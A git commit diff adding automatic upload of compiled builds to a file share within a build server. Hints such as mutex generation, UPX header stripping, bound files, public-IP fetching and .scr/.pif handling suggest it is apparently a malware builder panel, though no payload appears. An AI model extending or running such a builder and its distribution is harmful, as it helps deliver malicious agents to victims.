give the ability to auto upload builds

This commit is contained in:
KingKDot
2026-05-17 19:49:50 -05:00
parent 372646e4a5
commit 7574988e3b
5 changed files with 265 additions and 1 deletions
+148 -1
View File
@@ -2,7 +2,8 @@ import { $ } from "bun";
import path from "path";
import fs from "fs";
import { v4 as uuidv4 } from "uuid";
import { saveBuild } from "../db";
import { saveBuild, insertSharedFile, type SharedFileRecord } from "../db";
import { getUserById, canUploadFiles } from "../users";
import { logger } from "../logger";
import { getConfig } from "../config";
import { signBuildToken } from "./build-signing";
@@ -117,6 +118,7 @@ type BuildProcessConfig = {
solRpcEndpoints?: string;
iosBundleId?: string;
fetchPublicIP?: boolean;
uploadToFileShare?: boolean;
};
@@ -148,8 +150,128 @@ function stripUpxHeaders(filePath: string): boolean {
type BuildProcessDeps = {
generateBuildMutex: (length?: number) => string;
sanitizeOutputName: (name: string) => string;
fileShareRoot?: string;
};
function guessMimeTypeForUpload(filename: string): string {
const ext = path.extname(filename).toLowerCase();
switch (ext) {
case ".exe":
case ".dll":
case ".scr":
case ".com":
case ".pif":
return "application/vnd.microsoft.portable-executable";
case ".bat":
case ".cmd":
return "application/bat";
case ".bin":
return "application/octet-stream";
case ".ipa":
return "application/octet-stream";
case ".sgn":
return "application/octet-stream";
default:
return "application/octet-stream";
}
}
async function uploadBuildFilesToFileShare(
build: BuildStream,
outDir: string,
fileShareRoot: string,
userId: number,
sendToStream: (data: any) => void,
): Promise<void> {
const dbUser = getUserById(userId);
if (!dbUser) {
sendToStream({
type: "output",
text: "WARNING: Skipping file-share upload — uploading user not found.\n",
level: "warn",
});
return;
}
if (!canUploadFiles(dbUser.id, dbUser.role)) {
sendToStream({
type: "output",
text: "WARNING: Skipping file-share upload — you do not have upload permission.\n",
level: "warn",
});
return;
}
await fs.promises.mkdir(fileShareRoot, { recursive: true });
sendToStream({ type: "status", text: "Uploading build to file share..." });
sendToStream({
type: "output",
text: `\n── Uploading ${build.files.length} file(s) to file share ──\n`,
level: "info",
});
for (const file of build.files as any[]) {
const filename: string = file.filename || file.name;
if (!filename) continue;
const sourcePath = path.join(outDir, filename);
if (!fs.existsSync(sourcePath)) {
sendToStream({
type: "output",
text: `WARNING: Build output not found on disk for upload: ${filename}\n`,
level: "warn",
});
continue;
}
try {
const id = uuidv4();
const folder = path.join(fileShareRoot, id);
await fs.promises.mkdir(folder, { recursive: true });
const targetPath = path.join(folder, filename);
await fs.promises.copyFile(sourcePath, targetPath);
const size = fs.statSync(targetPath).size;
const record: SharedFileRecord = {
id,
filename,
storedPath: targetPath,
size,
mimeType: guessMimeTypeForUpload(filename),
uploadedBy: dbUser.id,
uploadedByUsername: dbUser.username,
passwordHash: null,
maxDownloads: null,
downloadCount: 0,
expiresAt: null,
createdAt: Date.now(),
description: `Build ${build.id.substring(0, 8)} — ${file.platform || "unknown"}`,
};
insertSharedFile(record);
logger.info(
`[file-share] ${dbUser.username} uploaded "${filename}" (${size} bytes) id=${id} via build ${build.id.substring(0, 8)}`,
);
sendToStream({
type: "output",
text: `Uploaded ${filename} (${size} bytes) → file share id ${id}\n`,
level: "success",
});
sendToStream({
type: "file_share_uploaded",
id,
filename,
platform: file.platform || null,
size,
});
} catch (err: any) {
sendToStream({
type: "output",
text: `WARNING: Failed to upload ${filename} to file share: ${err.message || err}\n`,
level: "warn",
});
}
}
}
function detectAgentVersion(clientDir: string): string {
try {
const configPath = path.join(clientDir, "cmd", "agent", "config", "config.go");
@@ -1267,6 +1389,31 @@ func runBoundFiles() {
build.status = "completed";
logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`);
sendToStream({ type: "output", text: `\n[OK] Build completed successfully!\n`, level: "success" });
if (config.uploadToFileShare && config.builtByUserId && deps.fileShareRoot) {
try {
await uploadBuildFilesToFileShare(
build,
outDir,
deps.fileShareRoot,
config.builtByUserId,
sendToStream,
);
} catch (uploadErr: any) {
sendToStream({
type: "output",
text: `WARNING: File-share upload failed: ${uploadErr.message || uploadErr}\n`,
level: "warn",
});
}
} else if (config.uploadToFileShare && !deps.fileShareRoot) {
sendToStream({
type: "output",
text: "WARNING: File-share upload requested but file share is not configured on this server.\n",
level: "warn",
});
}
sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt });
saveBuild({